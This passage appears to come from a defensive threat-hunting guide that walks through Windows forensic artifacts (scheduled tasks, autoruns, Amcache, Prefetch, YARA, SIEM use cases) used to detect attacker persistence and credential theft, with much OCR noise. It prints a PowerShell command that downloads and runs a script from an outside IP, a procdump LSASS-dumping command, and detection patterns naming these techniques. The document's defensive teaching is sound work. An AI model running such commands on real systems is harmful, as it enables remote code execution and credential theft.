created on the Domain Controller. This artifact can be found in the registry and you can know
how many shadow copies have been created:

{4d36e978-£325-11ce-bfc1-08002be10318}
{53172480-4791-11d0-25d6-28db04< 10000}
{53£56307-bbf-11d0-04f2-00a0cD 1 efb8b}
{53f56302-bibf-11d0-04f2-00a0c0 1 efbBb}
{53¢56300- bbbf-11dD-04f2-00a0cH 1 efb3b}
| #2725CSCdRom&Ven NECYMWar&iProd_VMware_SATA_CDO1#58:12368b4a&:08&:0100002{53f5630d- bébf-11d0-04f2-00a0c01 efbeb}
#27#STORAGE#V olume#{717aaeb8-5cd2- 11ea-80b4-806e 6626963 120000000000 100000%{535630d-bEbf-11d0-94f2-00a0cT TefbBb}
#27#STORAGE#V olume#{717aaeb2-5cd2- 11ea-80b4-206e6f626963 12000000001 5FO0D00{535630d-bbf-11d0-24f2-00a0cT Tefblb}
| #272STORAGE#VolumeSnapshot#HarddiskVolumeSnapshot 1#{53f5630d-bEbf-11d0-94f2-00a0c01 efb2b}
#
[ ##725TORAGE2VolumeSnapshot#HarddiskVolumeSnapshot2#{53f5630d- b6bf- 11d0-9472-00a0cd 1 efbab}
T

[

S

I~ 0 153f3630e-bBbf-11d0-94f2-00a0c91efb8b}

- |y {33f36311-bBbf-11d0-04f2-00a0c91efbeb}

- |y {3716439-9115-4e78-ab535-382f3bd5422d}

3 {3b45201d-f2f2-4f3b-85bb-30f1f933599} v

Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00alc91efbb }\##7#5T ORAGE#VolumeSnapshot¥HarddiskVolumeSnapshot2#{ 33f 3630d-b6bf - 11d0-94f2-00a0c 3 1efb8b]

Figure 29. Registry Value for Shadow Copies Information.

In figure 29, you can see that there are two registry keys for the two shadow copies that have
been created. As a threat hunter, you have to not rely only on the windows event for detecting
this kind of activities, in fact, you have to investigate all the artifacts on the machine as well
as guessing what an attacker can do in a critical server like the DC? Asking yourself such

guestions will help you to speed up the investigation.
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Whenever an attacker of a red teamer has compromised a machine or has a full control over
the domain, he usually creates a persistence way on the machine. Some of the persistence
techniques used by the red teamers are the schedule tasks. A schedule task can be created
to make a program or an executable file running in a period of time (like every day, every
week, or at a specific time).

We will check the Windows event (schedule task events) to see if there is any abnormal
schedule task has been created:

Event 108, TaskScheduler

General  Details

User "5-1-5-18" |registered Task Scheduler task "\update_software"

Log Name: Microsoft-Windows-TaskScheduler/Operational

Source: TaskScheduler Logged: 47142020 £:12:31 AM
Event ID: 106 Task Category: Task registered

Level: Infarmation Keywords:

User: SYSTEM Computer: PC-02.Haboob.local

Figure 30. "update_software" Task Schedule - TaskScheduler Event ID (106).

Event 100, TaskScheduler

General  Details

Task Scheduler started "{23230a83-32f2-4cB1-bf7f-d9eefel66e80}" instance of the "\update_software" task for user "NT AUTHORITY\SYSTEM".

Log Name: Microsoft-Windows-TaskScheduler/Operational

Source: TaskScheduler Logged: 4/14/2020 £:39:36 AM
Event ID: 100 Task Category: Task Started

Level: Information Keywords: (1)

User: SYSTEM Computer: PC-02.Haboob.local

Figure 31. "update_software" Task Schedule - TaskScheduler Event ID (100).

The above events from the TaskScheduler events type show that there is a task schedule has
been created by NT AUTHORITY\SYSTEM with a task name (update_software). Although the
name of the task schedule seems to be normal and not suspicious, but as a threat hunter we
have to investigate more on this task and confirm whether the task is a normal or indeed it's
a malicious task.
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We will go to the location of all the tasks (C:\Windows\System32\Tasks) in order to find and
open the task in question (update_software) and see its configuration:

» ThisPC » Local Disk (C:) » Windows » System32 » Tasks v 0
Mame Date medified Type Size
| j update_software 411472 File 4 KB
|| OneDrive Standalane Update Task-5-1-5-21-3583766964-1297818350-1736902504-1109 3/ M File 4 KB
| | OneDrive Standalone Update Task v2 3/ File 4KE
| | install agent 3/ File 4 KB
Microsoft 373,202 File folder

Figure 32. "update_software” Task File.

We opened the file (update_software) on the notepad to see the content of the task:

|

File Edit Format View Help
<?xml version="1.8" encoding="UTF-16"2>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2804/82/mit/task">
<RegistrationInfo>
<Date>2020-04-14T06:12:30</Date>
<Author>HABOOB\Ali</Author>
<URI>\update_software</URI>
</RegistrationInfo>
«Triggers>
<LogonTrigger>
<StartBoundary>2020-84-14T06:12:08</StartBoundary>
<Enabled>true</Enabled>
</LogonTrigger:>
</Triggers>
<Settings>
<MultipleInstancesPolicy>Ignorelew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<5topIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminates>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIflletworkAvailable>false</RunOnlyIfNetworkAvailable:
<IdleSettings>
<Duration>PT18M</Duration>
<WaitTimeout>PT1H«</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdlerfalse</RestartOnldle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled»true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdles>
<WakeToRun>false</WakeToRun>
<ExecutionTimelimit»PT72H</ExecutionTimelimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C: \Windows\Temp\update.bat</Command>
</Execs
</Actions>
<Principals>
<Principal id="Author">
<UserldsS-1-5-18</Userld>
<Runlevel>leastPrivilege</RunLevel>
</Principal>
</Principals>

Figure 33. "update_software” File Content.

After checking the content of the file, we can find that the task is scheduled to execute a bat
file called (update.bat) on C:\Windows\Temp.
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We will go the location of the bat file (C:\Windows\Temp) to check if the bat file is still there:

This PC » Local Disk (C:) » Windows » Temp » w

£

Mame Date modified Type Size

{940620E8-3EFF-4335-87TAB-826031BF353B}  4/14/2020 6:20 AM File folder
{15E1C1B1-54F9-4D44-9E34-EO7TOBO0MB33}  4/11/2020 3:33 AM File folder

| update.bat 41472020 610 AM Windows Batch File 1KB
!j vmware-vimusr.log 4/13/20204:36 AM  Text Document ITKB
|Z|] vmware-vmsvc.log 4/14/2020 3:41 AM Text Document 98 KB

|Z] MpCmdRun.log 471472020 £:04 AM  Text Document & KB

Figure 34. "update.bat” File.

The file is indeed there, we opened the bat file to see its content:

" update.bat - Notepad — O %

File Edit Format View Help
powershell.exe -WindowStyle hidden -NolLogo -NonInteractive -ep bypass -nop -c "iex (New-Object Net.WebClient).DownloadString('https://172.97.69.79/run.psl')"

Figure 35. "update.bat” File Content.

The content of the bat file is a PowerShell command which uses the Net.WebClient class to
download a file called (run.ps1) from a suspicious IP. As a threat hunter, we will check the
suspicious IP in VirusTotal to see if the IP is marked as a malicious on some AV engines:

<=
i) 5engines detected this IP address
5 (i) 5enginesd 1 this IP add
172.97.69.79 (172.97.68.0/23)
AS 26548 ( Purevoltage Enterprises Inc. )
Commun:
Sco
DETECTION DETAILS RELATIONS COMMUNITY
CRDF (D) Malicious ESET (1) Matware
Forcepoint ThreatSeeker (D) Malicious Fortinet (D) Malware
Kaspersky \\L Malware ADMINUSLabs ‘\‘; Malware
AegisLab WebGuard (L‘. Malicious Alienvault w‘\D Malware
BitDefender "\E' Malicious Blueliv V\D Malware

Figure 36. VirusTotal Results.

We can confirm that this is a malicious activity and the IP seems to be a server owned by an
attacker which is being used to download and execute a malicious PowerShell script file
(run.ps1) in a scheduled time.
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As we explained the persistence way of the schedule task that is being used by the attackers
and red teamer, there is another persistence way which also is being used quite often by the
bad guys that is “Autorun”. The Autorun can be used to configure a program or an executable
file to run during system bootup or login. As a threat hunter, we will investigate the known
registry keys for Autoruns, and one of the keys is (Run) key. After checking this key, we found
a registry value that configured to be an autorun as shown in figure 37:

[ Registry Editor
File Edit View Favorites Help

| MSSHA /| Name Type Data
b NetCache ) sk (Default) REG_SZ (value not set)
il OEMInformation i_"] Explorer Export REG_SZ C:\Program Files (x86)\Internet Explorer\ExtExporrt.exe
4 00BE ih]VMwarE User Process REG_5Z "CA\Program Files\Whware\VMware Tools\vmtoolsd.exe” -n vmusr

OptimalLayout

. Parental Controls

. Personalization
PhotoPropertyHandler

. PnPSysprep

. Policies
PreviewHandlers

. PropertySystem

. Reliability

. SharedDLLs

. Shell Extensions

. ShellCompatibility

. ShellServiceObjectDelayloa
. Sidebar

Figure 37. Explorer Export Autorun.

The name of the file as well as the path seem to be normal but remember that as a threat
hunter we have to always investigate. We will go to the location of the file (ExExporrt.exe):

@C)" . » Computer » Local Disk (C:) » Program Files (x86) » Internet Explorer »
Organize « Include in library « Share with « Mew folder
 Favorites MName Date modified Type : Size
Bl Desktop , en-US 4/12/201111:17 AM  File folder
&4 Downloads . SIGMUP 11/21/2010 6:31 AM  File folder
i._i Recent Places =] ExtExporrt ‘_ | 4/13/2020 3:38 AM Application T3 KB |
577 ExtExport ‘— | 1172172010 6:25 AM ™ Application 142KB |
il Libraries & icinstal 11/21/2010 6:25 AM  Application 365 KB
3 Documents & ielowutil 7/14/2008 414 AM  Application 1153KB
J7 Music 8 iexplore 11/21/2010 6:25 AM  Application 658 KB
| Pictures %] hmmapi.dll 7/14/2009 415 AM  Application extens... 50 KB
E Videos %] iecompat.dil 11/21/2010 6:25 AM  Application extens.., 8KB
% iedvtool.dll 11/21/2010 6:25 AM  Application extens... 840 KB
1M Computer %] ieproxy.dil 11/21/2010 6:25 AM  Application extens.., 160 KB

Figure 38. "ExeExporrt” File Location.

In figure 38, We can observe that there are two files with almost the same name. We don't
know which of them is a suspicious file and the other is a normal or a legitimate file.
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We analyzed the properties of the two files and compared them together:

] |Ex‘tExpDrrt Properties | lﬂ ] | ExtExport Properties | M
| General | Compatibility | Security | Details | Previous Versions | | General | Compatibility I Security | Details | Previous Versions |
Property Walue Property Value
Description Description
File description  ApacheBench command line utility File description  Intemet Explorer ImpExp FF exporter
Type Application Type Application
File version 22140 File version 80760117514
Product name  Apache HTTP Server Product name  Windows® Intemet Explorer
Product version 2.2.14 Product version 8.00.7601.17514
Copyright Copyright 2009 The Apache Software F... Copyright = Microsoft Comparation. Al ights resery..
Size T20KB Size 142 KB
Date modfied  4/13/2020 2:38 AM Date modfied  11/21/2010 6:25 AM
Language Enaglish (United States) Language English (United States)
Criginal filename ab .exe Criginal flename  extexport.exe
! - . - -
Suspicious File Normal File
Bemove Properties and Personal Information Bemove Properties and Personal Information
[ ok || cancel || ool [ ok || Cancel Apply

Figure 39. Comparing the Two Files.

After comparing the two files, it's clearly that this file (ExtExporrt) is a suspicious file. The
suspicious file has a product name “Apache HTTP Server” which could be an HTTP reverse
shell. On the other hand, the normal file has a Microsoft signature. Also, the modified data of
the suspicious file comparing to the normal file is a big difference which gives us a sign. We
can also detect this activity by using the Sysinternals tool “autorun” from Microsoft:

=] Autoruns [HABO 1

File Entry Options User Help
HEAAXE e[ ]
= Network Providers I :Ei WML I B Sidebar G,
&7 Everything | éé Logon I 4 Explorer | é Internet Explorer I L.j Scheduled Tasks I % Services | .% Drivers I @ Codecs I E Boot Execute | E Image Hijacks I 1% Apnl
Autorun Entry Description Publisher Image Path Timestamp
@" HKLM\SYSTEM\CumentControl Set'\Control\SafeBoot \Attemate Shell 7/14/2009 7:49 AM
B8 cmd exe ‘Windows Command Processor (Verffied) Microsoft Windows cwindows gystem32cmd .exe 11/20/2010 12:46 FM
# HKLM\SOFTWARE \Microsoft\Windows\CumrentVersio\Run 4/23/20201:10 AM
(=" Explorer Export ApacheBench command line wtility I{th verffied) Apache Software Foundation | cprogram files (86)intemet explorer\extexpont exe 5/28/2009 10:57 PM
ﬁ VMware User Process VMware Tools Core Service (Verified) VMware, Inc. c\program files wmware\wmware tools'wmtoolsd exe 2/20/2019 2.07 PM
@" HELM\SOFTWARE \Microscoft'\Active Setup*Instaled Components 3/3/2020 2:31 PM
[._3 Google Chrome Google Chrome Installer (Verified) Google LLC c\program files (x86)\google’chrome"application.81.0.404... 4/14/2020 11:26 FM
[l oowcT i erenmimence . - R : seoooopro s

Figure 40. Autofun Sysinternals.
We can easily detect the suspicious autoruns by looking for the “Not Verified” publisher. The
malicious file has a “Not Verified" flag whether the rest have a "Verified” flag.
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Now, we confirmed that this is a malicious file being used on the machine (PC-01) and could
be an HTTP reverse shell that the attacker uses it to connect back from the victim machine
each time the user logs in. Suppose that this malicious file is exist on another machine, and
actually we don't know if the file indeed is existing on another machine or not. The attacker
may use the same executable but with a different name and different location and maybe we
don't find it on the autoruns or in the schedule tasks (as shown before). In this case, we could
use the "Yara Rule” which is basically a way to create a rule for a specific file and then it looks
for that file based on some strings/characters that you identify it. For this scenario, we
extracted the strings of the malicious executable (ExtExporrt.exe) and then we created a

simple Yara Rule that looks for some strings of the malicious file that we identified it:

J ExtExportt_Malware.yar - Notepad

File Edit Format View Help
rule ExtExportt Malware {

meta:

description = "Sample Malware - ExtExportt.exe Malicious File"
author = "Haboob Team”
date = "13-04-2020"
strings:
$s1 = "C:\\local@\\asf\\release\\build-2.2.14\\support\\Release\\ab.pdb" fullword ascii
$s2 = "-T content-type Content-type header for P0STing, eg." fullword ascii

$s3 = "<tr ¥s»<th colspan=2 ¥s>Total POSTed:</th»<td colspan=2 #s>%I64d</td></tr>" fullword ascii

condition:
(all of them) and (filesize < 18@KB)

Figure 41. Yara Rule for (ExtExporrt.exe).

Then we ran the rule on the machine (PC-02) to look for those strings over all the files/folders:

Figure 42. Yara Rule Command.

We have actually found three malicious files with the same malicious executable that we
previously found (ExtExporrt.exe). The new malicious files are found on multiple location on
the machine (PC-02) with different names. You can note that one of them is on the Recycle
Bin which it has been deleted.

For this purpose, we used this Yara Rule only on one machine, imagine if we are in a domain
that has a lot of computers (such as more than 500 Domain-Joined Computers) and we run
such a rule on those machine. Also, think about if we have an EDR that supports the use of
Yara rule, with this way, we can run a Yara rule from the EDR management over all the agent-
connected machines. With this way, we can save a lot of time for hunting and investigating.
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Amcache is a great forensic artifact that is a must for any DFIR specialist to use it during the
threat hunting and the investigation. The Amcache.hve file is a registry file that stores the
information of executed applications. These executed applications include the execution path,
first executed time, deleted time, and first installation.

We can use the tool AmCacheParser from Eric Zimmerman to analyze the Amcache results:

Command line: -f

Two transaction logs found. Deter

>Amcache
1.3.3.8

1eParser

MWindow

Windows'a|

ndows’ ompat\Programs

file entries found: 244
shortcuts found: 66
device containers found: 1
device PnPs found: 195
drive binaries found: 332
driver packages found: 9

191 unassociated file entries

uthor: Eric Zimmerman (saericzimmerman|
https://github.com/EricZimmerman/AmcacheParser

ppcompat\Programs\,

mining primary log...
ompat\Programs\
mpat \Programs)

e.hve.L0G1,

Repla ’: g fi Windows\appcompat\Programs\Amc .
At least one transaction log was applied. Sequence numbers have been updated to exel1es

ie.hve’ is in new format!

Figure 43. AmcacheParser.exe Command.

\Rayan\Desktop\

indows‘\appcompat\Program

FileKeylastWriteTimest SHAL FullPath Name FileExtension ProductName Size
4/11/2020 0:38 44496e2be40ce4. d2ffSched  c\wind unner.exe CompatTelRunner.exe .exe microsoftA® windowsA® operating system 144888
4/10/2020 1:47 427693e6b: 1d4067a792f3b05a720  c:\wind consent.exe _exe microsoftA® windowsA® operating system 154528
4/10/2020 1:47 18b278898672495 1 1e15f526b: f28f  e\wind edentialuibroker. CredentialUlBroker.exe _exe microsoftA® windowsA® operating system 102312
3/8/2020 19:30 0aa%e72ch15f8092" c:\wind sS.eXe csrss.exe .exe microsoftA® windowsA® operating system 17696
3/8/2020 19:08 5188088c2911170ccc7bd462404fb3ece17a99c  c:\program files\cuassistant\culauncher.exe culauncher.exe _exe microsoftA® windowsA® operating system 369696
4/11/2020 0:38 52d35af657197bfad 1d6a40fc278eae586d78cch c:\windows\system32\devicecensus.exe DeviceCensus.exe .exe microsoftA® windowsA® operating system 35128
3/8/2020 19:08 d1d23f72062581603650c37  c:\program files\rempl\disktoast.exe disktoast.exe exe microsoftA® windowsA® operating system 92664
4/13/2020 0:42 14e’ 753ac967  c:\wind, dllhost.exe dllhost.exe .exe microsoftA® windowsA® operating system 21408
4/10/2020 1:47 604523a6f1f c:\windi a: 'md.exe dsregemd.exe exe microsoftA® windowsA® operating system 659968
3/9/2020 15:32 15ed22ee12fd: c:\wind d dwm.exe exe microsoftA® windowsA® operating system 57344
4/10/2020 1:58 6519 7 e\wind dxdl dxdiag.exe exe microsoftA® windowsA® operating system 352768
4/10/2020 1:47 72a4f1a54 dalbbl  c:\wind lorer.exe explorer.exe .exe microsoftA® windowsA® operating system 4848952

77916471237a0c0224098e(781961a3fcdeSc76 cx\users\ali\desktap\install.exe install.exe _exe apache http server 73802
3/8/2020 19:08 7a%a224feda162531f2ca8ad76249527b04930  c:\program files\rempl\sedlauncher.exe sedlauncher.exe _exe microsoftA® windowsA® operating system 351032
3/8/2020 19:08 e48a127e5cb75edd279a714df6absa c:\program files\rer sedsvc.exe exe microsoftA® windowsA® operating system 357680
4/11/2020 1:35 7ed: 198 c\wind: msg.exe sessionmsg.exe .exe microsoftA® windowsA® operating system 74960
3/8/2020 19:11 fca78297c6ed61f51a49f0a6d0fa5eeabcel7166 c:\$windows. “bt\sources\setuphost.exe setuphost.exe .exe microsoftA® windowsA® operating system 859960
4/10/2020 1:47 0c53eabe78a%cba25658af0367bf1729d8aele?  c:\windows\system32\sihclient.exe SIHClient.exe exe microsoftA® windowsA® operating system 229888
4/13/2020 0:21 129f4f0257715715d50fd7b7129ce231771aelea  c:\windows\system32\snippingtool.exe SnippingTool.exe exe microsoftA® windowsA® operating system 3162112
3/8/2020 19:12 fd9 c:\wind h svchost.exe exe microsoftA® windowsA® operating system 47664

3/23/2020 12:38 b89933e7a8f22faadf: c:\wing mpropertiesr SystemPropertiesRemote.exe exe microsoftA® windowsA® operating system 83968
3/10/2020 18:31 11ee71f4ea933b8{2861ad33a368e2779f 7febbd  c:\windows\system32\taskhostw.exe taskhostw.exe exe microsoftA® windowsA® operating system 87392
4/13/2020 0:47 2212958a14babf11dc922163ac4641919b7b1c5  c\windows\system32\taskmgr.exe Taskmgr.exe _exe microsoftA® windowsA® operating system 1200912
4/22/2020 23:01 7791647123 6 c\windows\temptest.exe test.exe .exe apache htp server 73802
4/11/2020 1:36 1a19d34464d409ea3115edafd5sffbs0eell0eaf  c:\windows\system32\werfault.exe WerFault.exe .exe microsoftA® windowsA® operating system 319384
4/12/202017:29 10c400d 2f c\users\re desktop\winpr WinPrefetchView.exe exe winprefetchview 112224
4/11/2020 1:58 ce’ c:\wind nsat.exe WinSAT.exe _exe microsoftA® windowsA® operating system 3365888
3/8/2020 19:30 0aa9e72ch19ff809270e2b c:\wind SS.EXE csrss.exe exe microsoftA® windowsA® operating system 17696
4/12/2020 17:29 650ecd30e34570bca55030d8db0ds54a176108b3  c:\users\rayan\desktop\sysinternalssuite\ctrl2cap.amd.sys ctrl2cap.amd.sys .sys ctrl2cap 10104
4/12/2020 17:29 5451885313330 1207f7cca593b6Ffac0dfB9a ci\users\rayan\desktop\sysinternalssuite\ctri2cap.exe ctricap.exe .exe 150328
4/12/202017:29 1be177f fi c:\users\rayan\desktop\sysinternalssuite\ctrl2cap.nt4.sys ctrl2cap.ntd.sys -sys ctrl2cap 2864
4/12/2020 17:29 34e1a6d24212cab29 ci\users\rayan\desktop\sysinterr 12cap.nt5.5y5 ctri2cap.nts.sys sys ctri2cap 2832
3/8/2020 19:08 5188b88c2911170ccc47bd462404fb3ece17a99¢c c:\program files\cuassistant\culauncher.exe culauncher.exe .exe microsoftA® windowsA® operating system 369696
4/12/2020 17:29 c3e062ba04e67cc244bfcfa76f8931600c557160  ci\users\rayan\desktop\sysinterr db Dbgview.exe exe sysinternals debugview 914992
4/12/2020 17:29 o4 c:\users\rayan\desktop\sysinternalssuite\desktops.exe Desktops.exe .exe desktops 116824
4/11/2020 0:38 52d35af657197bfad Ld6a40fc2782ae586d78¢ccf c:\windows\system32\devicecensus.exe DeviceCensus.exe .exe microsoftA® windowsA® operating system 25128

Figure 44. Amcache Results.

We can see that two malicious files (install.exe & test.exe) have been executed on the machine
with different times. Note that Amcache stores SHA1 hash (same hash for the two files).
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Many of the red teamers use Procdump tool for malicious activities in order to get a high
privilege in the machine or domain admin privileges. Basically, they use the tool (Procdump)
to dump the LSASS process from memory and then download the DMP file in the attacker's
machine in order to use such offline tools like Mimikatz to extract the passwords of the
logged in users in a clear text (or NTLM hash). The Procdump tool is a legit tool from
Sysinternals by Microsoft and used on Windows environments.

C:“Userssrayan~Desktop>procdumpbd.exe —accepteula —ma lsass.exe lsass.dmp

ProcDump v?.8 — Sysinternals process dump wutility
Copyright (C> 2089-2817 Mark Russinovich and Andrew Richards
Syzinternals — www.sysinternals.com

[23:45:48]1|Dump 1 initiated: C:sUsers>rayansDesktop-lsass.dmp
[23:45:421|Dump 1 writing: Estimated dump file size is 35 MB.
[23:45:49]1|Dump 1 complete: 35 MB written in B.9 seconds
[23:45:49 1| Dump count reached.

Figure 45. Procdump Basic Command.

In figure 45, we demonstrated that an attacker or a red teamer has executed the Procdump
tool to dump the LSASS process to get the DMP file (lssas.dmp in our case).

We can hunt this activity by reviewing the below registry key (as explained previously):

ﬁ Registry Editor

File Edit View Favorites Help

‘".'l_" Computer MName Type Data
b-idd HKEY_CLASSES ROQT ab) (Default) REG_SZ (value not set)
4-{J¢ HKEY_CURRENT_USER % EulaAccepted  REG_DWORD 0x00000001 (1)
-~ | AppEvents
----- Console

Control Panel
..... Environment
b Ll EUDC

Keyboard Layout
..... Metwork
5.1l Printers
4. Software
: AppDatalow
Classes
Microsoft
Policies

a- Sysinternals

| | ProcDump |
Systemn

Figure 46. Registry Key for Procdump Activity.

As you can see in figure 46, there is a registry key to record any executed Sysinternals tools.
Whenever an attacker (or any user) has accepted the Eula (accepteula), a new record will be
created in this registry key: HKEY_CURRENT_USER\Software\Sysinternals\
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We can also detect this activity from the Prefetch as shown below in figure 47:

BE WinPrefetchView =
File Edit View Options Help
XEHD g YA
Filename Created Time Madified Time FileSize  Process EXE Process Path Run Counter  Last Run Time
] SVCHOST.EXE-000A8396.pf 3/8/2020 10:31:01 PM 3/8/2020 11:03:24PM 11,580 SVCHOSTEXE Ci\Windows\System32\schost.exe 2 3/8/2020 11:02:50 PM, 3/8/2020 10:30:27 PM
3 SVCHOST.EXE-5031E67A.pf 3/3/202010:31:14PM  3/8/2020 11:03:24 PM 4,138 SVCHOSTEXE CAWindows\System32\svchost.exe 2 3/2/2020 11:02:58 PM, 3/8/2020 10:31:04 PM
T WIMIAPSRY.EXE-CF150EEA. pf 3/2/2000 20820 PM  3/8/2020 11:03:24PM 6,412 EXE [« pSrv.exe 2 3/8/2020 11:03:01 PM, 3/8/2020 10:30:38 PM, 3/7/2020 8:29:05 PM, 3/T)
BB REGEDIT.EXE-245AC210.pf 3/3/20209:57:39PM  3/8/2020 11:03:24PM 10,268 REGEDIT.EXE C:\Windows\regedit.exe 3 3/8/2020 11:03:04 PM, 3/3/2020 9:58:24 PM, 3/3/2020 9:57:29 PM
5 WINPREFETCHVIEW.EXE-DSBD87B..,  3/7/2020 T:30:47 PM  3/8/2020 11:03:41 PM 35,553 4 3/8/2020 11:03:31 PM, 3/7/2020 8:56:11 PM, 3/7/2020 7:34:06 PM, 3/7.
T BACKGROUNDTASKHOST.EXE-65B... 3/2/20202:50:29PM  3/8/2020 11:0409PM 23278 BACKGROUNDTASKH... C:\Windouws\System32\BACKGROUNDTASKHOST.EXE 7 3/8/2020 11:04:08 PM, 3/2/2020 10:30:56 PM, 3/7/2020 8:28:10 PM, 3/T,
w5 SVCHOST. EXE-EOGRCTAT. pf 3/3/202010:31:12PM  3/8/2020 11:04:23 PM 8,028 SVCHOSTEXE CAWindows\System32\svchost.exe 2 3/8/2020 11:04:13 PM, 3/8/2020 10:31:02 PM
X POWERSHELL.EXE-022A1004pf 3/4/2020 7:0933PM  3/8/2020 11:0437 PM 68,950  POWERSHELLEXE CA\Windows\System32\WINDOWSPOWERSHELL\w1.0\POWERSHELLEXE 6 3/8/2020 11:04:27 PM, 3/5/2020 8:09:10 PM, 3/4/2020 7:11:34 PM, 3/4/.
&, SEARCHFILTERHOST EXE- 10EA267...  3/2/2020 204:18PM  3/8/2020 11:0457 PM 4,082 SEARCHFILTERHOST.... C:\Windows\System32\SEARCHFILTERHOST.EXE 89 3/8/2020 11:04:47 PM, 3/8/2020 10:10:42 PM,
[ PROCDUMPG4. EXE-222E2785 pf 3/8/2020 10:21:12 PM_3/8/2020 11:05:57 PM_ 5,665 PROCDUMPEA.EXE Ci\Users\Rayan\Desktop\ SVSINTERNALSSUITE\PROCDUMPE4.EXE 3 3/8/2020 11:05:47 PM, 3/8/2020 1:31:57 PM,
[ DLLHOST EXE-38926D07.pf 3/2/2020 157:47PM 3/8/2020 110820 PM 4,410 DLLHOST EXE C\Windows\System32\dllhost.exe E] 3/8/2020 11:09:08 PM, 3/2/2020 11:04:08 PM,
& MPCMDRUN, EXE-5DFFFT6C.pf 3/8/2020010:23:15PM  3/8/2020 11:12:54 P 4328 MPCMDRUNEXE CAPROGRAMDATA\MICROSOFTWVINDOWS DEFENDER'Platform\d.18... 3 3/8/2020 11:12:43 PM, 3/8/2020 10:40:32 PM,
I8 CONHOST.EXE-FI8A1078.pf 3/2/2020 207:42PM  3/8/2020 11:21:08PM 9,719 CONHOST EXE C:\Windows\System32\conhost.exe 79 3/8/2020 11:20:58 PM, 3/8/2020 11:12:43 PM,
(s DEFRAG.EXE-22AD8A37.pf 3/2/2020219:37PM  3/8/2020 11:21:08 PM 5,368 DEFRAG EXE CiAWindows\System32\Defrag.exe 4 3/8/2020 11:20:52 PM, 3/7/2020 8:48:26 PM, 3/3/2020 7:00:16 AM, 3/2/:
{8 CVID.EXE-CD245FE pf 3/2/2020 250:16PM  3/8/2020 11:22:04 PM 3376 CMDLEXE CA\Windows\System32\cmd. exe 20 3/8/2020 11:22:04 PM, 3/8/2020 10:33:19 PM, 3/8/2020 10:30:58 PM, 3/

Figure 47. Prefetch Results for Procdump.

In figure 47, you can see the Prefetch results for the Procdump activity as well as some data
like the last execution time, how many times has been run, the created time, the path of the
executed tool and other information that Prefetch provides.

Benjamin, the author of the Mimikatz, has created a YARA Rule to detect any use of DMP file
by LSASS process. If you are not sure if there is any LSASS DMP file
the domain, simply use the rule and fire it on the machine:

in your machine or in

C: \\Buut\BC cuul(l not upen l’].J.e
“\Boot\BCD.LOG: could not open file

scanning
scanning C:
ELEULELT
ELEULELT
ELEULELT
ELEULELT
scanning
scanning
scanning
scanning
scanning
scanning
scanning
scanning
scanning

Gixvpagefile.sys: could not open File

C:xwProgramDatasMicrosoftiSearch \DatasfApplicatio ns\
C:xwProgramDatasMicrosoftiSearch DatasfApplications™
C:s\ProgramDatasMicrosoft \Search Data~Applications™
C:s\ProgramData™ rosoft Search \DatasApplications™
C:s\ProgramData™ rosoft Search \DatasApplications™
C:s\ProgramData™ rosof t Search~Data“App 11|: at 1n nsN

1ndnu.,\Gatheang.,\Sy.,temlndex\Sy.,temIndex [ 8 gt}u-: could not open file
indows\M8Stmp.log: could not open file
1ndnu_‘\P1‘u‘]ect_.\Sy_.tenlndex\IndexeP\ClFlleg\l 1.wid: could not open file
6.wid: could not open file
sh: could not open File
X.B0@: could not open file
could not open file
could not open file

cts\Systenlndex:xIndexersC
ct..\Sy..tenlndex\IndexeP\C

PN
1n(luu..\P}-u,]ect..\Sy..temlndex\SecStuPe\ClSTlBBl
Data\ﬂpplluatlun‘.\ indows“\M88.log: could not open file
atasApplicationssWindowssWindows.edb: could not open file

Seal
C SSProgramDatasMicrosoftS\Searchv\Data~Applicat ions“\Windows“\tmp.edb: could not open file

Figure 48. YARA Rule to Detect LSASS DMP File

C:sUserssrayan~Desktopsvara—3.?7.8—winbd>dir

Uolume in driwve C has no label.

Uolume Serial Humber iz 6B4C-ES3E

Directory of C:xlUserssravansDesktopsyara—-3.9.8-uwinbd
A3-089,2020 12:26 AM
03,87 -2028
838920208
A3-8%9.,20208
B2-22,201%

<DIR> -
2,833

55

1,485,312

kiwi_passwords.yar.txt
results._ txt
yarabd.exe
1.488.208 hytes
?.780.892. 672 bytes free

2 Dirds2

CislUserssprayansDesktopsyara—-3.9.8-uwinbd>type results.txt
mimikatz_lsass_mdmp “sUserssrayansDesktopslsass.dmp

Figure 49. YARA Results.

We can see in figure 49 that the YARA rule has detected a DMP file. The DMP file is indeed an
LSASS DMP file that has been matched to the rule. (which is the same we found previously).

Note that you can find all the used tools and resources for the all the demonstrated scenarios
in the reference section.
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Most of the enterprises nowadays have implemented such solutions for monitoring their
traffic & logs and to have a full visibility over the network and the endpoints and detecting
any kind of attacks. Solutions such as Security Information and Event Management (SIEM) is
mostly being used in many environments for collecting and analyzing the logs from different
resources. In additional to that, the SOC team or the threat hunters could monitor their daily
traffic through the use cases. The problem is that most of the built-in use cases in the SIEMs
are poorly written and generate a lot of false-positive. Hence, as a best practice, we will
create high effective use cases based on the scenarios we just demonstrated; for the purpose
of hunting and detecting the red team or attacker activities.

- Any command that contains: \\IP-Computer_Name AND (-u OR -p) AND (cmd OR
cmd.exe) AND -accepteula

- Any running executable: PsExecé4.exe OR PsExec.exe

- Any file creation for (PSEXESVC.exe)

- Any execution policy bypass: -ExecutionPolicy bypass OR -ep bypass

- Any attempt to download a file: DownloadString OR New-0bject Net.WebClient

- PowerShell Remoting: Enter-PSSession

- Any attempt to enumerate the machine or connect to a share: net AND (use OR users
OR group OR localgroup OR /domain OR /dom)

- Any commands that contains: create shadow OR list shadows
- Any attempt to copy NTDS.dit file: copy AND NTDS.dit

- Any commands that contains: (-ma lssas.exe OR *.dmp) AND accepteula
- Any running executable: procdumpé4.exe OR procdump.exe

The above use cases are just examples (and not limited to) for creating effective use cases.
It might generate false-positive, but as a blue team, it's worth further investigating the
